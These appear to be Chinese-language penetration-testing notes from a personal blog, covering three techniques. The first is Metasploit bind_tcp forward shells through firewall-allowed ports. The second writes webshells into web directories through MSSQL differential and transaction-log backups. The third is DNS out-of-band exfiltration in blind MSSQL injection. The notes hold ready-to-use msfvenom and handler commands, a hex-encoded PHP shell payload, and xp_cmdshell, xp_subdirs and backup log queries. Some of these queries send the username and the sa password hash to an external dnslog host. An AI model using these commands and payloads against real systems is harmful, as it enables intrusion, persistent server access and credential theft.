0x01 背景

当目标服务器无法反弹shell时,可以使用msf里的bind_tcp生成攻击载荷 进行正向连接。
但是正向连接也存在条件,若对方主机开启了防火墙,只允许访问特定端口的话。则需要判断哪些端口可以进行正向连接。
这里拿自用VPS进行模拟测试。

0x02 过程

配置防火墙 允许 80,8080 访问。80开启IIS服务,而8080未开启任何服务。
利用Nmap扫描指定的端口,发现80 open , 8080 closed

nmap -sV -Pn -T4 -p80,8080  目标IP

41.png

此时 closed的端口 是防火墙准入的,因为主机未开启相关的服务,所以经nmap探测为closed状态。
建立正向shell,设置状态为closed的端口号为服务器监听端口。

1.在msfvenom生成木马

msfvenom -p windows/meterpreter/bind_tcp lport=8080 -f exe -o 1.exe

2.将上一步生成的木马上传至目标服务器,并执行。

3.进入msfconsole,设置攻击payload

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf5 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name Current Setting Required Description
   ---- --------------- -------- -----------


Payload options (windows/meterpreter/bind_tcp):

   Name Current Setting Required Description
   ---- --------------- -------- -----------
   EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
   LPORT 4444 yes The listen port
   RHOST no The target address


Exploit target:

   Id Name
   -- ----
   0 Wildcard Target


msf5 exploit(multi/handler) > set LPORT 8080
LPORT => 8080
msf5 exploit(multi/handler) > set RHOST X.X.X.X //被攻击ip
RHOST => X.X.X.X
msf5 exploit(multi/handler) > exploit

然后顺利通过防火墙,成功建立正向shell。

42.png

0x03 后记

由于msf使用不太熟练,特此记录学习下。原理很好理解,在目标无法反弹shell时,寻找防火墙准许的端口,进行正向连接。在深入内网渗透时,可能会用到。

0x01 测试环境

公网VPS:Windows 2008 R2
数据库:SQLServer 2008 r2
Web服务:phpstudy

0x02 测试过程

MSSQL安装过程省略,成功安装后,现用sa用户建立一个库及普通账户。

create login sectest with password='密码', default_database=test #创建登录账户 sectest
create user sectest  for login sectest with default_schema=dbo #创建数据库用户,默认schema为dbo
exec sp_addrolemember 'db_owner', 'sectest' #赋予数据库用户db_owner权限

MSSQL在非dba权限注入时,若支持注入点支持堆叠查询,且站库未分离,可尝试通过差异备份写shell。
差异备份是指在一次全备份后到进行差异备份的这段时间内,对那些增加或者修改文件的备份。

也就是说,通过备份差异的内容至web路径下,并保存为可执行脚本,即为getshell的过程。

这里用自搭建的环境模拟注入

一、差异备份写shell

1.获取当前数据库名称

select db_name();

31.png

2.第一次备份

backup database test to disk = 'c:\phpstudy\www\temp.bak'; #差异备份前,先进行一次完整备份

32.png

PS:经测试,其实若先建表存入payload,完整备份也可生成webshell。
但实际环境中,这样的备份文件往往很大,影响shell的连接和执行。

3.创建表格并写入shell

插入的值为Shell代码的hex编码

create table cmd(a image);
insert into cmd(a) values (0x3C3F70687020706870696E666F28293B3F3E);

4.进行差异备份

语法在一般备份的基础上 增加了 with differential ,结合渗透中获取的web物理路径信息,执行如下命令

backup database test to disk = 'c:\phpstudy\www\test666.php' with differential; 

执行成功,这样shell就通过差异备份的方式写入web目录

33.png

5.清除自建表

最后,删除用于写shell的临时表。

drop table cmd;

二、备份事物日志写shell

要执行事务日志的备份,数据库的恢复模式(Recovery Mode)必须是FULL,并且数据库必须执行过一次数据库的完整备份操作,否则,事务日志将处于自动截断(Auto-Truncate)状态,无法进行事务日志备份。

语法上使用backup log命令进行事物日志的备份。

1.获取当前数据库名称

select db_name(); 

2.开启完整恢复模式

alter database test set RECOVERY FULL;

开启后数据库引擎会把所有操作都记录到事务日志上,并且数据库引擎绝对不会截断日志。
所以开启这个应该是确保shell内容可以完整的写入。

3.创建临时表

create table cmd(a image); 

4. 完整备份数据库

backup database test to disk = 'c:\phpstudy\www\temp.bak' ;
//或
backup log test to disk = 'c:\phpstudy\www\temp.bak' with init ;

这里测试,任意一条都可以。
但第二条语句的 with init 有何作用,目前仍然存在一些疑问。

5.临时表写入shell

insert into cmd(a) values (0x3C3F70687020706870696E666F28293B3F3E);

6.备份log

backup log test to disk = 'c:\phpstudy\www\test666.php' ;

34.png

访问下,成功利用备份log方式写入。

35.png

再drop table cmd;

三、补充内容

更改SQLserver启动权限为"network service",测试前面的方法是否适用。

36.png

切换普通账户后,测试 发现 backup 语句依然可以执行

37.png

因此只要web目录有权限写入,无论是system还是network service权限启用mssql,都可以利用备份方式写shell。

0x03 总结

网上都老文大章都停留在MSSQL2005之前都版本,但MSSQL已更新至2017了。在版本的更新不断过程中,有些exp已经不能照搬来用,但还是要了解不同版本的Sql语法以及支持的存储过程,以快速应对不同的目标环境。渗透之余,一直想搭建个SQLServer进行研究,这次正好有空花了一天时间做个记录。

想到 17年遇到过一次jsp+mssql的架构,非sa用户,可以差异备份,但jsp马在备份情况下,会被一些非法字符影响解析。等有时间再搭建个环境尝试是否可以突破

0x04 参考:

SQLServer注入技巧

盲注情况下,利用DNS外带查询方式快速获取数据。

0x01 相关基础

MSSQL下,可以利用自带的存储过程或创建自定义的存储过程,向外发送网络请求。并利用dnslog接收外传的数据。

通常用到的存储过程如下:

  • xp_subdirs
  • xp_dirtree
  • xp_fileexist
  • xp_cmdshell
  • backup log

xp_subdirs、xp_dirtree和xp_fileexist

前三个存储过程的效果和使用方式几乎一致,在sql编辑器中输入语句,发起请求。
51.png

结果如下,可看到全部接收成功

52.png

另:MSSQL 2017为Linux系统下版本,用这些存储过程进行外带查询的方法不适用于Linux。因为Windows下 //会发起网络请求,而Linux无这个特性。至于2017下如何利用,择日有空再进行研究。

xp_cmdshell

xp_cmdshell要求必须为DBA权限才可使用。方式即 Windows命令行下 利用ping等命令获取数据.

exec xp_cmdshell 'ping %USERNAME%.t00ls.f9b638e31ce26b3934df185161cd8435.tu4.org';

53.png

backup log

backup log语句通常在备份时使用,也可以利用其来发送网络请求。语句如下

exec('backup log fcc to disk=''\\log.f9b638e31ce26b3934df185161cd8435.tu4.org\a'';');

54.png

0x02 利用场景

最早之前在一些渗透项目中遇到过几次,sqlmap跑出注入但不是显错类型。逐个字符的读表真是考验耐心还浪费时间。
相比布尔或时间盲注,外带方式还是太节约时间。

利用条件如下:

  • SQL注入点为stacked queries类型
  • 数据库服务器可通外网
  • 数据库用户权限基本没要求

xp_cmdshell和xp_subdirs貌似要求是dba权限。

0x03 利用姿势

具体的还是要结合想要获取的信息来。查询回传方式有固定的套路,语法如下

如外带获取sa的hash密码

#注意这里不用分号分隔,否则报错
DECLARE @host varchar(1024)
SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash)FROM sys.sql_logins WHERE name='sa')
+'.f9b638e31ce26b3934df185161cd8435.tu4.org'
EXEC('master..xp_subdirs"//'+@host+'\foobar$"') 

我这里在Navicat中测试,注入时同理。

55.png

结果信息来看,提示"找不到网络名"但此时请求已发出,再查看dnslog 已经接收到数据。

56.png

其他信息的获取 只需替换一部分select语句即可,即host的值。

0x04 知识延伸

此时,虽然已经可以解决一个个字符获取的低效问题。但实际利用中,可能还差些火候。比如某些信息的字符或导致网络请求失败,数据长度超限制导致获取的结果不完整,想获取表名、字段名时 逐个输入导致时间还是很浪费等...

。。。

0x05 参考文章

1.《Dnslog在sql注入中的实战